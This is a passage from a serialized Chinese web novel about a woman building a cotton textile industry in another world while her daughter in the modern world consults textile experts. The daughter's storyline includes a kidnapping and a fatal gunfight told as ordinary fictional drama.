等棉纺厂成立后,除了棉布棉衣,棉被棉口罩纱布等棉质产品都会出来,到时候一定会对南边的布帛市场形成反销和极大冲击。 南边经济繁荣,与他们那边纺织业相对发达有很大的关系。他们那边养蚕织布虽然也是作坊作业,但数量不少,已经形成了规模。 不过,棉纺厂成立后,这些小作坊就不够看了,数量再多,那也手工作业,跟机器制造没法比。 谢云溪准备去枫叶巷那边织坊看看,把女孩们操作的场景拍摄下来,让袁淼也找几个这方面的专家看看。能不能在现有的基础上再次改进珍妮纺丝机和织布机。 庄静突然来访了。 谢云溪愣了愣,请她进来了。不过,看到只有庄静一个人过来时,她心里更奇怪了。 “景钰呢?怎么没有把她带过来?” 有段时间没见了,庄静瘦了些,笑起来时,脸上的细纹都有了。 “天气热了,他们去了庄子里,要过些天才回来。” 谢云溪附和说道:“今年是比往年热些,我也想着过几日到城外的庄子避暑呢。” 庄静突然说道:“你去不得!” 谢云溪一脸诧异。 庄静避开她的视线,讪讪说:“我……是想起了你生淮哥儿时候的事……城外比不上城里安全。” 谢云溪赞同:“没错,那会儿也把我吓到了,幸亏江将军他们来的及时。” “这次过去,一定要准备周全才行。你呢?什么时候过去?到时候我们一起。” 庄静欲言又止。 谢云溪看着眼里,笑着说:“景钰不是喜欢吃苹果吗?我那园子里就种了几棵苹果树,不过,今年是结不了果了,要到大后年才行……” 她话音还没落地,手就被庄静抓住了。庄静的眼圈有些红:“你听我一声劝,那庄子别去了……不仅城外庄子,城里的铺子也别过去看了,最好是一直都在府里!” 谢云溪一头雾水。庄静显然有些失控,不仅眼圈红了,脸上也有哀色:“一直在府里也不好……” “你离开这里吧!” 谢云溪惊呆了。 庄静也意识到自己吓到了人,但话已经出口,她心一横:“关三老爷已经去了湖州,岭南关家要与袁大人联姻了!你留在这里不会有好结果的!趁现在事情还没传开,你离开这里吧!” 谢云溪看着庄静,突然明白为什么岭南关家那边一直没有行动了,明明人都带过来了。 她心里很感动。庄静现在给她通风报信,是冒了很大的风险。如果不是袁博文,换成这里其他任何一个男人,极大概率都会选择与岭南关家联姻。 联姻之后,她这个人自然要退避三舍,如果没生儿子,还有一丝可能性活下来,生了儿子,就只剩下了消失这一个结果。 岭南关家付出了这么多,肯定不会让其他人摘桃子。 庄静这么做一旦被岭南关家的人知道了,他们母子三人以后的日子就不好过了。如果把袁博文换成这里的任何一个男人,也不会让庄静以后的日子好过。 庄静见谢云溪呆住,又语重心长说:“我知道袁大人与你伉俪情深,你一定舍不得!可是岭南关家的嫡女绝对不会屈居人下!你无根无底,留下来一定会吃尽苦头的!听我一句劝,离开这里吧!越快越好!” 谢云溪想了想:“关三老爷什么时候去的湖州?” 庄静愣住了,过了一会儿才回答:“前日去的。” 谢云溪想了想时间,前天……也就是与湖溪齐王府差不多前后脚。这下,那边要热闹了。 谢云溪点了点头:“湖溪齐王府的人也去了湖州。” 庄静着急说:“你还指望湖溪齐王府那边为你撑腰吗?他们这次过来为了拉拢袁大人,除了带了不少礼物,还带了一位绝色佳人!” 谢云溪愣住了。绝色佳人?这个张时文可没说!难怪那天一他直低着头了! “你听谁说的?你见过吗?”谢云溪有点好奇了。 “我没见过,这事是关三老爷亲口说的。”庄静如实回答。 也是因为这个,关三老爷这才连忙也赶去湖州。 原本她以为自己还拖些时日。袁大人不在郴州,行踪机密。关三老爷即便是想谈,也找不到人,郴州府衙的张大人可做不了这件事情的主。 关二小姐虽然也有些想法,但她不过来,也拦着景钰,二小姐即便是想打听些消息,或做些事情,也没办法。她到这里是客人,与袁府可没什么交情。 可惜,湖州被拿下的事情爆出来了,袁大人的行踪也不再是机密了。偏偏这时候湖溪齐王府的人也过来了。 她即便想破了头,也找不到理由阻拦关三老爷了。 关三老爷亲自去湖州见袁大人,联姻的事情八九不离十。湖溪齐王府的礼物再贵重,也未必能打动了袁大人了。 她心里着实过意不去,岭南关家的线是她给袁大人牵起来的,现在却要害了谢云溪。 第148章 报信 谢云溪心里一时间各种滋味都有了。 湖溪齐王府也给袁博文带来了绝色美人儿! 大家都知道她弱, 无根无底,年纪又大,长得也不是貌美如花。都准备在争霸这场大戏中, 先把她踢下场了。 前有岭南关家的嫡女, 现在又来了一个绝色美人儿, 估计蠢蠢欲动还有许多。 这个世界女人的价值就是这些。不管岭南关家的那位二小姐, 还是湖溪齐王府带过来的绝色美人儿,在这个世界男人们的眼中都可以用来交易的。 她轻轻拍了拍庄静的手:“谢谢你告诉我这些!我知道你是为了我好……我……相信袁博文!” 她说出后面一句话时, 颇有些难以启齿。 庄静又急又气:“你……”她压住烦躁,语重心长说, “你一定要想清楚!许多事情它……它会变的!” 庄静不敢明说袁博文会变, 只好把话映射到其他方面。 谢云溪像是没听懂一样, 脸上依旧挂着淡淡的笑:“我知道, 谢谢你!” 庄静的心凉了, 更有些恨铁不成钢。她不明白,平日里挺聪慧的一个人, 怎会在这事上看不透?男人的情深义重,怎抵得过他们的王图霸业? 但她该说的已经说了,总不能逼着人家做出她不愿意的决定。 谢云溪也看到了庄静凉下的眸子,以及脸上的流露出的哀其不幸怒其不争的神色。她心里感激庄静,但她和袁博文的事情没法对外人说起。 她把话题岔到别处, 但庄静已经没心情说其他了, 附和了几句后便离开了。 谢云溪让念荟亲自把庄静送了出去。 她相信袁博文,倒不是相信他们情比金坚,更多的是相信他能理智考虑问题。 他们能走到今天这一步,靠的不是个人才能,而是他们的女儿。 没有女儿, 他们能不能在这个乱世中活下来都是个未知数。 离开了女儿,他们俩谁都走不远。 与岭南关家联姻,是能有莫大的好处,但这些与袁淼相比,不值一提。 接受了湖溪齐王府的收编,袁博文先前拿出的那些东西势必要上交。她虽然不知道齐王李中裕是个什么样的人,但知道人性。 他现在的示好绝对是暂时的,一旦齐王府稳住了大局,绝对会回头收拾他们。 卧榻之侧,岂容他人鼾睡。现代化军械对上这里的冷兵器,就是降维打击,这东西不掌握在自己的手中,谁心里不慌? 这些道理,袁博文一定比她更清楚。若他昏了头,她现在离开也不一定是件坏事。 谢云溪收拾了一番来到了枫叶巷织坊。 已经是工头的姜云枝匆匆过来了。谢云溪打量了她一番,几个月未见,这姑娘精气神完全不一样了。现在明媚自信,颇有些职场女性的味道了。 小院里也大变了样子。谢云溪还没进到屋里就听到纺织机砰砰砰的声响。 里面的女孩们都在忙碌。 谢云溪边看边问:“现在一天能纺出多少锭纱线?” “约能纺出百锭纱线。”姜云枝回答。 胡冬梅听到这个数字,忍不住看了看旁边。 她见过纺丝织布,即便是一等一的巧工,一天最多也就能纺出一锭纱线。 现在枫叶巷织坊居然能做到一天能纺出百锭纱线!她们这里的人统共也就六十余人而已!其中大部分还在做其他事情。 谢云溪脸上也流露出满意的神色。 这里一共有八台珍妮纺纱机,每台纺纱机上有十六个锭子,相当于这里一个纺纱女工能做到外面十六个女工的纺纱量了。 纺纱量上去了,织布的速度也应该提高了不少。 “棉布呢?一天能出多少棉布?” “约有八、九匹棉布!” 谢云溪点了点头。 现在一匹棉布卖到四两二钱银子,比去年的价钱又涨了二钱。 南边的局势乱了,导致绸布麻布葛布的价钱都涨起来了,他们的棉布也没有固守陈规。 四两二钱银子,差不多一万元左右了。 一匹棉布,约要十斤左右的棉花。 棉花的价钱,袁淼买到手一斤不到五元。 一匹棉布,他们的非人力支出不到百元。 所有的成本全部加上,也不超过五百元,带来的却是近万元的收益。 枫叶巷这个小小的织坊,每个月带给他们的收益就有百万。 这里只是小院,女工也只有六十多人。如果规模扩大,改进纺织机,这个收益还会几何式增长。 谢云溪的心情好了起来。看过了织坊屋内的情况,她又来到了女孩们居住的地方。 两到三人间的小屋里面收拾的干净整齐。厨房里也井井有条。 以后的职工宿舍也可以按照这个标准来。 谢云溪看过后正要转身出去,姜云枝突然说道:“夫人,小月前几天来过了!” 谢云溪愣了愣,才想起来姜云枝说的是谁。 康小月。她家在城西柳叶胡同有个豆腐铺。 她把这些女孩们从营帐中接到这个宅院里后,有几个女孩伤好得差不多了,就想回家了。康小月就是其中一个。 大半年过去了,谢云溪有时候也会想起这几个回家的小姑娘,不知道她们现在怎么样了。 “她如今过的可好?” 姜云枝缓缓摇了摇头。 “她爹娘已经过世,现在跟哥哥嫂嫂住在一起,她哥性子软弱,嫂子有些嘴碎,容不得人……” 姜云枝说着这些,越发庆幸自己当初的决定。这里不缺吃不缺穿,还有钱拿。如今她已经攒了三四十两银子。按照这个速度,一年到头,她能有五六十两银子。这可比在外面干什么都强。 康小月回到家后,不仅左邻右舍闲话不断,连嫂子都嫌弃她坏了门楣,家里的豆腐铺生意不好也都怪到她的头上。 她以前算是她们中间最想得开的人,现在却动不动就哭。 谢云溪心里也有些不好受。 把人放出去的时候,她就想过结果。这个世界跟现代不一样,对女人太不友好了。三从四德,贞节牌坊等等都压在她们头上。 一个曾被北凉人掳走的少女,即便是能活下来,周围的唾沫星子也能把她们淹死。 “她还说了什么?门口的护卫没有拦她吗?” 姜云枝连忙说:“她没有进来,院子门口护卫不肯通融,她是托了厨房的刘嫂给我带了话,我们隔着院墙说了会话。” “夫人,她,她想回来……” 谢云溪摇了摇。康小月现在想回来,不太好。 棉布的市场已经在北地打开了,地里的棉花也已经种出来了,虽然现在只是个青果,但是大伙都知道了棉布就是地里的这些弄出来。 许多人老早就都盯上了这一块,但是他们不知道枫叶巷织坊里面的纺织机跟外面的不同。 光纺线,这里一个女工就能抵得上外面十六个女工的活计。 还有飞梭织布机。 这些机器才是他们挣大钱的原因。 要是让外面的人知道了这些机器,那他们就失了先机。 现在织坊里面使用的珍妮纺纱机和飞梭织布机的技术含量并不高,懂点这方面的工匠很快就能看出是怎么回事。 “现在不行!这里地方太小了,不能再添人……等过些时候再说!” 等棉纺厂组建好后,肯定要大量招工,到时候康小月想过来,她绝对欢迎。 大型厂区配备齐全,机器进一步改进后,就没那么容易被人照搬和抄袭了。 “是。”姜云枝应下了。 谢云溪想了想,又说:“织坊门口安排的护卫,并不是要把你们关在这里,而是织坊的一切现在不能对外泄露……” 姜云枝连忙说道:“我知道的,夫人!” 她家以前是开杂货铺的,也卖过纺纱机和织布机,但那些跟院子里完全不能比。 以前的那些,忙一个月都未必能织出一匹布来。院子里的这些一个人忙抵得上外面十几个人的工。不仅速度惊人,织出来的棉布也更细密紧实。 这些机密当然不能让外面的人知道了。 她还想着在这里多挣些钱呢,以后老了,也有依靠。 “你知道就好,其他人,你也交待了一声。若是有人违反了,我必会按照规定严惩。” 保密也是这些女孩们签署的用工协议的内容之一。 姜云枝心里一凛:“夫人放心,我必交待到。” 谢云溪晚上就把织坊的见闻告诉了袁淼。 袁淼这段时间比较忙,还没有算过棉布棉花这笔账。听谢云溪说完,她也很惊讶。 棉花棉布的利润太惊人,比粮食的利润还要高了。就六十来人的小作坊,居然每个月能有两百多万的利润了。 “最多一个月,我们这里的棉花就可以采摘了,这次我们种了两万多亩,枫叶巷织坊的规模太小。你爸离开的时候,我们就商量过,要组建一个棉纺厂,改变这里布帛紧缺的情况,现在可以开始了。” 袁博文早就知道父母有这个想法,她当然配合:“你准备怎么做?” “郴州城东有一片空地,大概有三百来亩左右,我想就把厂区建在那里……” 从事纺织行业的女工远多于男工,厂区建在城外,安全方面没有城内好。现在的北地还有大半在北凉和其他势力手上,流民太多了。 棉纺厂和冶炼行业不一样,它的生产比较集中,主要的机器早期也就只有纺纱机和织布机两种。摊子不用太大。 “现在的珍妮纺纱机有十六个锭子,我以前看过你传过的资料,珍妮纺纱机在西方最开始出现的时候只有八个锭子,后来又很快发展成十六个锭子,三十二个锭子……” 这些袁淼也有印象。珍妮纺纱机在蒸汽机出现之后很快就变成三十二个锭子,后期更是达到了一百二十多个锭子。纺线速度的大大增强了,这也使得当时西方纺织行业高速发展起来。 “这里现在一台纺纱机一次还只能一根线,我们的珍妮纺纱机一次可以纺十六根线……你去看看,三十二锭子,以及更多锭子的纺纱机是什么样的?如果制造并不复杂的话,棉纺厂第一批纺纱机就可以考虑使用这些纺纱机……” 十六个锭子纺纱机已经是碾压这里的纺纱机,三十二个锭子以及更多,那就是降维打击。 “好!”袁淼想到了上次的交流会。她们想秃了头,也不知道从哪里着手的事情,专家看一眼就知道怎么做了。 纺织行业和冶炼行业大同小异,我国这方面的人才绝对不少。专业的事情,还是要找专业的人解决。 “爸爸那边有消息了吗?” 谢云溪摇头。 袁淼已经知道袁博文拿下湖州的事情,但她的心依旧悬着。战场上的事情千变万化,太难以预测了。 她还想跟袁博文谈一谈岭南关家的事情。 “淮安呢?” 谢云溪把袁淮安抱过来。可惜袁淼依旧看不到,她要了一张袁淮安吃手的照片后,结束了这次的沟通。 第二天,袁淼就去找到王振声了。 “纺织行业的专家?你想找他们干什么?”王振声有些好奇。 袁淼笑着说:“我去年给我爸妈那边买了几台珍妮纺纱机和飞梭织布机,这两种机器用得很好。现在,他们想改进这两种机器,我对这方面并不了解,所以,我想找几位专家咨询一下。” 王振声想到叶家振前段时间组织的交流会,那场交流会就是给袁博文夫妇帮忙的。他估计袁淼是受了这个的启发。 隔行如隔山,跨行涉足另一个专业,没有一定的时间学习和了解,短时间想要弄懂够呛。 “我帮你问问吧。”王振声没有马上答应。 袁淼笑容不减:“谢谢王所长。” 她知道王振声肯定要往上面汇报,这件事情不通过上面,她也解决不了。 纺织行业有哪些精通纺织机的专家,她都不知道。即便是知道了,她给人家发函,人家也多半不会来。即便是她找上门,也不一定能见到人。 但上面出面,那就不一样了。哪怕是一个电话,都比她跑断了腿强多了。 袁淼离开后,王振声就给陈博川打了个电话。 陈博川听完后就笑了:“袁博文夫妇这是准备走工业化道路啊!” “工业化道路?”王振声愣了愣。 “是啊,他们先是提升和改进了那边冶铁工坊的技术,现在又准备发展纺织行业了,这跟西方工业化发展的路径如出一辙。” 王振声明白了,感慨说:“这两口子挺能折腾啊!” 陈博川笑了笑。我国五千多年的历史,封建王朝占了大半,一直都是农业化社会,但最后却被西方的坚船利炮轻易轰开了国门。 工业化社会对上以农业为主的封建王朝,确实优势不小。袁博文夫妇这是吸取了我们的经验教训,准备在另一个世界反其道行之了。 “那这件事情……怎么办?”王振声又问。 “孟主任前几天就说了,袁博文夫妇也是我们的人,他们在异世界站稳脚跟,对我们也有好处。你给纺织协会打个电话吧,让他们帮个忙。” 珍妮纺纱机的出现是西方工业化发展历史上重要的发明,是手工业作坊走向现代化工厂开始。它的出现绝对会对袁博文夫妇那边的小作坊作业形成近乎毁灭似的打击。但是在这里却是已经快淘汰的东西。 第二天,袁淼就接到了王振声的电话,纺织行业协会同意帮袁淼发函,邀请业内相关专家,参加这次针对纺织机改革的交流会。 袁淼大喜。这天亲自跑了一趟纺织行业协会。邀请函发出去后,她就让沈若君开始准备了。 很快就到了交流会举行的这天,袁淼早早就到了会场。 第149章 疯癫 很快就到了交流会举行的这天, 袁淼早早就到了会场。 来的专家不少,几乎都对纺织行业的历史了如指掌。虽然现在许多厂家已经进入智能化生产阶段,但是个性化定制在高端市场上也占有一定份额。从事这些的专家有个别依旧延续着手工作业的传统, 对传统纺织机等有独到的见解。 袁淼受益匪浅, 交流会结束后, 她在门口站了许久, 送走了到会的各位专家。又匆匆来到了洗手间。 镜子里面照出的妆容有些黯淡了。 接下来还有饭局。 袁淼拿出了手机,给沈若君打了一个电话, 约好了化妆师,收起来的时候, 她突然在镜子里看到身后原本弯着腰身的保洁员站了起来。 身量高的出奇。 分别是一个男子! 袁淼心里一惊, 但还没等她反应过来, 就被人捂住了嘴巴。 镜子里面也照出了身后的人, 他抬起了头, 帽子下方的脸俊朗冷酷。 正是徐清阳。 袁淼想要挣扎,但才吸了一口气, 就感觉到一股刺鼻的味道涌入了口鼻。下一刻,她就失去了意识。 再次睁眼,袁淼发现自己在一间狭小的房子里,两边靠墙堆放着许多袋子。光线正从她头顶上的小窗中透进来。 神志混沌了片刻,袁淼很快清醒了。 徐清阳果然来了! 但下一刻她发现自己的嘴巴被堵上了, 手和身体也被捆在了一根柱子上。 她挣扎了一会, 一点儿作用都没有。心里忍不住懊恼起来。 她猜到了徐清阳不会放过她,也因此加强了防范,但还是被他钻了空子。 今天的交流会她大意了,露脸的时间太长。 也不知道现在在哪里?时间过去了多久? 她在酒店的卫生间出事,卫生间门口的铁梅应该发现了吧?张青云素来警觉, 肯定会想到徐清阳。 她不能慌。 她的人现在肯定在想办法救她。 袁淼冷静了下来,又看了看周围的环境。房间很小,除了靠墙堆放的袋子,角落里还有一些蜂窝煤。 窗户很高,她站起身都未必能够得上,而且还是带了钢筋。想从上面出去,基本上不可能。 她唯一的出路只有对面的小门。 但要到门口,她首先得想办法解放手脚。 袁淼正四下看着,想找一个能用得上的东西,门那边突然传来了响动。 铁制的门被打开了,进来了一个穿着黑色运动服套装的高大男子,手中还提着一个皮箱。 男子进来后就取下了连帽。是徐清阳。 袁淼盯着他。 脱下了西装的徐清阳像是换了一个人,从前的儒雅淡定一扫而空了,现在的他周身罩着一层阴冷和颓废。 逃亡的日子并不好过,他看起来瘦了些,脸色也有些狼狈和憔悴,眸子微红。进来后,距离袁淼不远地方席地坐了下来,静静看着。 袁淼打了一个寒噤。眼前的人已经不是她熟悉的那个徐清阳了,他杀了曾辉华,现在不会放过自己。 但她要自救,必须得弄清楚情况。 原本今天的安排是交流会后有一个饭局。这是拉近她与专家们距离的机会。 改进和提升纺织技术不是一蹴而就的事情。父母那边的起点太低了,这次的交流会只是开始,以后少不了还要向专家们求教。 饭局过后,她会在差不多的时间与谢云溪见面。把交流会上的事情以及她的想法告诉谢云溪。 如果,到时候她不出现,谢云溪一定会多想。 她那边原本就不太平。袁淮安还不到半岁。父亲又不在身边。 袁淼挣扎起来,这次弄出的动静不小。 徐清阳过来了,在袁淼面前蹲下,静静看了一会后,突然抓住了袁淼的脖子,靠了过来,贴在她的耳边说:“淼淼,我知道你想干什么。我不会中计,你要听话,我们很快就能离开这里了!” 袁淼瞪着他,嘴巴被堵住了,她的呼吸有些急。 徐清阳咽了咽口水,近在咫尺的脸吹弹可破,连气息都香甜的。他情不自禁蹭了蹭,声音变了调。 “你不用怕,我现在有钱了,只要离开这里,我们就能过上好日子。” 袁淼被抓着脖子,动弹不得,心里翻滚着不适。徐清阳碰到了她的唇,她再也忍不住了,使劲避开。 徐清阳落了空,眸子也凉了下来。 掌心的女孩,扭着头,皱着眉,一脸的嫌弃。 徐清阳原本微红的眸子翻起一阵风云,手也不由自主收紧了。 袁淼脖子吃痛,又蹙了蹙眉。 徐清阳看到了,手略松了几分。 他知道她又多娇气,稍稍使劲都会发红。 “淼淼,我知道错了,你原谅我好不好?我们重新开始!你知道我的!我对曾嘉宝一点感情都没有!我跟她在一起,是为了我们的将来!我心里只有你!” 袁淼皱着眉头,闭着眼睛。 这些话狗屁不通! 过去的事情从她决定分手的那一天起就画上句号。 是他自己要和曾嘉宝结婚,生子以及杀人,现在把这些冠以爱的名义,跟她牵扯上? 袁淼也越发不耐烦了。 徐清阳低下了头,一脸痛苦。他费尽心思,不仅没有得到想要的,现在连心爱的女孩都厌恶他了。 铁门又传来了响动,徐清阳和袁淼都看了过去。 这次进来了两个人。领头的干瘦,一脸横肉。另一个异常高壮,身板像铁塔一样,脖子上还挂着一根金链子。 “徐老板,不好了!外面来了条子!正挨个在搜船呢!” 徐清阳的脸色变了,站了起来,想了想后问:“有没有办法离开?” 干瘦的男子摇头:“现在晚了!他们已经把这里围住了!” 他说着看向袁淼,目光狠厉:“徐老板,这个不能留了。扔海里吧,那边有袋子,人装进去后,加几块石头,保障一点儿动静都没有。我再找个地方,你先藏起来,等风声一过,这事就算是过去了。” 袁淼的脸色就变了。 “不行!”徐清阳断然拒绝。 干瘦的男子愣了愣:“我说徐老板,都这个时候了,你还要怜香惜玉吗?女人哪里没有?只要有钱,再漂亮的女人也能搞到手!” “不行!不能动她!马上走!我加钱!” “徐老板,这不是钱的问题!现在外面都是条子!咱们只要一动,谁都知道咱们有问题!在这里可跑不远!” 徐清阳冷哼一声,一脚将地上的皮箱踢过去:“这些够了吧?赶紧开船!别废话!” 瘦个儿的脸色动了,给了旁边一个脸色,他身后铁塔一样的男子动了。 把皮箱提了过来,打开看了看。里面是满满一箱钞票。瘦个儿也瞟了一眼。笑了一下。 “徐老板,这真不是钱的事情!只要你肯点头,把这娘们丢海里,我包你这次没事!” 徐清阳冷冷看过去:“我说过了!不能动她!” 瘦个儿男子脸上的表情凝固了:“徐老板,这事可不能由你,条子马上要过来了!咱兄弟几个的性命不能栽在这事上!” 他说着扬了扬手,身后铁塔一样的跟班动了。 “别动!”徐清阳突然拿出手枪,指着瘦个儿和他的跟班。 瘦个儿和他的跟班脸色都变了。 徐清阳举着枪,一双微红眸子紧紧看着他们,一边蹲下身去解袁淼身上的捆绑。 瘦个儿看着他。 袁淼心里也狂跳起来。这是个好机会。徐清阳背着她,全神贯注防备着另外两个人。解开了手上的捆绑后,袁淼立刻拿下堵在嘴里的东西。 “救命啊……呜呜呜!” 突兀的声音响起,瘦个儿的脸色大变,狰狞着冲了过来,一把捂住了袁淼的嘴巴。袁淼挣扎着。瘦个儿的劲儿极大,她觉得自己的呼吸都要断了。 “砰!” 突如其来的一声闷响,袁淼的眼前突然变了颜色,有什么东西溅泼在脸上了,原本怎么使力都无法挣脱的箍禁也松解开了。 身后的人轰然倒地。 袁淼摸了摸脸上,一手的血红。 她看到脖子上挂金链子的男子凶神恶煞冲了过来。 徐清阳一把抓住了袁淼的手,把她拉到了身后。连开数枪。 男子倒地了,偌大的身躯激起了尘埃。 铁门被踹开了,许多人涌了进来。 “不许动!” “不许动!” 但徐清阳已经疯了,他转头就瞄准了涌进来的人。 砰!砰!砰! 袁淼忍不住捂住了耳朵。等声音停下来后,她就看到了倒在血泊中的徐清阳。 那么多血。 袁淼跪了下来。她学过急救,但此刻却不知道怎么做。 徐清阳举起了手,袁淼迟疑了一会才伸手。 “淼淼,我……我错了……” “孩……孩子……不是我的,我……我爱你!” 徐清阳的手垂落了下来。袁淼呆呆看着。脑袋一片空白。 有人扶着她起来了。 “淼淼!你怎么样?有没有受伤?” 袁淼摇头,她没事儿。徐清阳死了,警察围在他身边,确定了这事。 有人抬起了她的手,在上面发现了捆绑的痕迹,她被搀扶着离开了。 夜风微凉,袁淼空白了许久的脑袋有片刻清明,她想起了谢云溪。 “我没事儿……不用去医院!” “去检查一下!你的手受伤了!”宋颜说。 袁淼摸了摸手腕,并没有感觉到疼痛,“现在几点了?” “九点半了!”沈若君回答。 已经晚了,她和谢云溪一般在晚上八点左右见面。 “我真的没事!” 但没有人听她的。 袁淼被带进了车里,再次强调:“我不用去医院!” 车发动了。 她静默下来。到了医院,经过检查,她不仅手腕上有擦伤,手指还有骨折,脖子上也有几处淤青。 这些伤都不重,但她的精神状态看起来不太好,医生建议留院观察。 第150章 心理 “不用了, 我真的没事!我得回去了!” 袁淼说着坐起来,宋颜按住了她。袁淼惊了一下,连忙抽出了自己的手。 宋颜像是没有察觉到:“好, 我陪你回去!” 袁淼却犹豫了。 病房都是人, 除了她的保镖, 公司里许多人都过来了。 她即便是回去了, 这天晚上大概率也没有独处的时间。 她改变了主意。 “不用了……我听医生的,今天晚上……不回去。你们都回去吧!我没事儿!有沈助理在这儿呢!” 宋颜还要说话。袁淼没等他开口, 便扯了个笑出来:“时间不早了,你们都回去吧!” 宋颜看着她, 一会后点头:“好, 你早点休息!” 他离开了。其他的人也陆续出去了。沈若君扶着袁淼躺下来, 才到一半, 袁淼就像是被什么蛰了一下, 突然又起来了。 “酒店的宴席散了吗?客人们都安排好了吗?” “都安排好了!” 袁淼这才放心躺下来。在医院里呆了一晚,第二天一早她就回了家。 洗了个澡后, 袁淼在镜子跟前坐了下来。 谢云溪看到袁淼,松了一口气。 “你昨天晚上怎么回事?” 袁淼笑着说:“我……昨天晚上喝多了,在酒店住了一晚。” 谢云溪没有多想,她也知道袁淼昨天晚上要宴请专家。 “以后别这样了,喝酒伤身!和他人处好关系, 并不是只有酒桌上才能办到。” 袁淼笑着:“好, 我知道。” 沈若君还在楼下,铁梅就在隔壁房间,她不便多说,把昨天交流会上画的草图传给了谢云溪:“这是我根据专家们意见画的草图,你先看看。交流会的视频我也拍下来……” 她把这些都传给了谢云溪。 谢云溪收了:“行, 我先看看!”她看出了袁淼脸色不好,“淼淼,你没事吧?脸色怎么这么差?有没有哪里不舒服?” 袁淼连忙打起精神:“我很好。”她把原因扯到酒醉上。 谢云溪一脸不赞同,交待了几句。 袁淼全部都答应了。 断开了联系后,袁淼就上了床。但是依旧跟昨天晚上一样,一闭上眼睛,她就看到满地的血,一点风吹草动,她就觉得像是开枪的声音。 谢云溪看过视频和图纸后,就来到了后院。 跟冶铁不一样,改进纺织技术的重点是纺纱机和织布机,这两台机器并不复杂,袁府后院就有,念荟和胡冬梅都会使用。 他们现在使用的珍妮纺纱机是十六个锭子的,如果要再加上锭子,那就得用上省力的机器。 小型的蒸汽机并不难制造,煤炭他们不缺。 谢云溪看过珍妮纺纱机和织布机后,让袁归找了几个工匠进府,又把枫叶巷那边的姜云枝接了过来。 谷雨从湖州回来时,拥有七十多个锭子的纺纱机快落成了。 谢云溪打开了谷雨带回来的信。 袁博文在信中说,关三老爷关逸和齐王府的成墨涵都到了湖州。 岭南关家想跟他们结盟,并且提出要把关二小姐许给他。他把齐王府来人的事情告诉了关逸,并且透露出他犹豫不决。如果关家在这种情况,还要结盟,他当然没问题。但是联姻的事情就没必要了。 至于齐王府那边,他们现在不宜树敌太多,需要先稳住了,萧南召已经在回援的路上了。 但这两方都不是善茬,他在信中提醒谢云溪务必小心。 谢云溪在看信的时候,谷雨在小心翼翼偷看她。 这是老爷特意交待的。 老爷见过关家的三老爷和齐王府的来人后,一晚上都没睡好,第二天一早就赶紧打发他给夫人送信。 他拿了信要走又被叫回来,老爷蹙着眉头,让他留意夫人有没有生气或发火之类。 谢云溪没有注意到谷雨的打量,看完信后,她的脸色一点儿变化都没有。袁博文的决定跟她料想的一样。 念荟端来了瓜果,问起了的湖州的事情。 谷雨回过头:“那里什么都没有!跟郴州这里完全不能比!” 念荟这段时间一心钻研着纺纱织布:“布庄也没有吗?” 谷雨笑了:“这个倒是有,但只有一两还家开着门,也没见过有什么人光顾。” 跟郴州城里完全是两种情况。湖州主要的街道上都没有什么人,到处破破烂烂。郴州这里人肩接踵,叫卖声此起彼伏,分外热闹。 “城东那边在干什么?我进城的时候看到那边都围了起来!” 念荟看了谢云溪一眼,没有回答。沈悦兰正逗着袁淮安。胡冬梅和叶淑婉也在忙自己的事情。但刚才她们都分明竖着耳朵在听。 谷雨心里奇怪。 这是都知道,但是不说? 谢云溪收起了信:“那边准备建厂。” 谷雨愣了愣:“建厂?什么建厂?” 念荟见谢云溪说了,也不再隐瞒,笑着说:“建棉纺厂。咱们庄子里的棉花要摘了,枫叶巷织坊那边太小了,要扩大规模。” 谷雨也笑了起来。棉布可是好东西,整个北地都在说,价格公道,耐磨耐穿。原本他们就靠这个赚了不少钱,现在棉花有了,织坊也要扩大。这是大大的好事。 “这次打湖州,伤亡情况怎么样?”谢云溪问。 谷雨连忙收了笑:“老爷说还好。陆将军他们是湖州本地人,这次出了大力。” 湖州陆将军,想必就是陆沉。谷雨没有提到袁博文是否受伤,谢云溪也就放心了。战场上的事情她不懂,唯有后勤救护上面能出点力。 谷雨小心翼翼看了谢云溪一眼,舔着笑脸过来:“老爷让夫人写封回信。” 谢云溪愣了愣。这天晚上就把最近发生的事情写在了信里,让谷雨带了过去。 第二天,她就让人收拾了一个院子出来,准备安置湖溪齐王府带过来的那些女人们。 既然要稳住齐王府的人,那面子上的功就要做好。那些美人们也是礼物之一,不能区别对待,光收物不收人。 袁博文不在府里,府里又到处都是监控器,把美人收在府里,既能让齐王府的人安心,也不怕她们搞什么幺蛾子。 * 自从那天目睹了枪战的场景后,袁淼就失眠了,她也察觉到自己的精神状态有些不对,便约了心理医生定期看诊。 这天,又到了约定看诊的时间。袁淼来到了医院,才从车里出来,就有人冲了过来。 张青云眼疾手快,一把袁淼护到了身后,其他保镖没等来人靠近就迅速拿下了。 那人年纪不小,身形干瘦,脸色焦黄,被反剪了双手压在地上,依旧恶狠狠看着袁淼,一副恨之入骨的样子。 袁淼皱了皱眉,认出他是徐清阳的父亲徐海山。他想杀她,地上的尖刀就是他刚才的凶器。 袁淼对沈若君说:“报警!”她给了张青云一个眼色,把这件事情交给了他处理。 到了心理诊室,睡了一觉后,袁淼觉得精神好些了,出去后看到了宋颜。 “你怎么来了?” 宋颜笑着说:“我刚问了医生,她说你的情况恢复得很快!” 袁淼不置可否,好不好她心里有数,徐清阳的事情给她带来的影响并不止精神上的这些,也让她对一些事情望而生怯。 从心理诊室出来,沈若君就把手机教还给了袁淼。张青云打了几个电话过来。宋颜在旁边,袁淼不想打回去。 回到办公室后,她才联系张青云。徐海山被拘留了,交待了事情经过。 接到徐清阳出事的消息后,徐海山和舒玉琴就从新江市赶过来了,但曾嘉宝拒绝跟他们见面。他们想见孙子,在曾家附近守了几天,却被告知是徐清阳是她害死的。 挂了电话,袁淼默默看了一会窗外。 居高临下,大半魔都尽在眼里。 徐清阳的路不是她造成的,但他终究在危机时刻拉了她一把。 袁淼来到了警局,看到了徐清阳的母亲舒玉琴。 她比两年前老了许多,大概是从来都没有经历过这样的事情,正一个人堵着警察哭诉着说话。 接待她的警察在耐心跟她说明情况。 舒玉琴依旧六神无主:“他不是故意要杀人的!是气昏了头!我儿子从小懂事,读书又厉害!好不容易混出了头,却被人害死了!这事儿轮到谁头上不发疯?你们一定弄清楚真相了,不能冤枉人!” 接待的警察一脸无奈:“您放心!我们绝对不会放过一个坏人!也不会冤枉一个好人!” 舒玉琴点头:“我相信你们!袁淼才是那个害人精!这件事情肯定是她造谣!我们家这口子平时在家里连杀鸡都不敢,怎么可能杀人?是袁淼造谣!我儿子就是被她害死的!你们不能让她再害人了!” 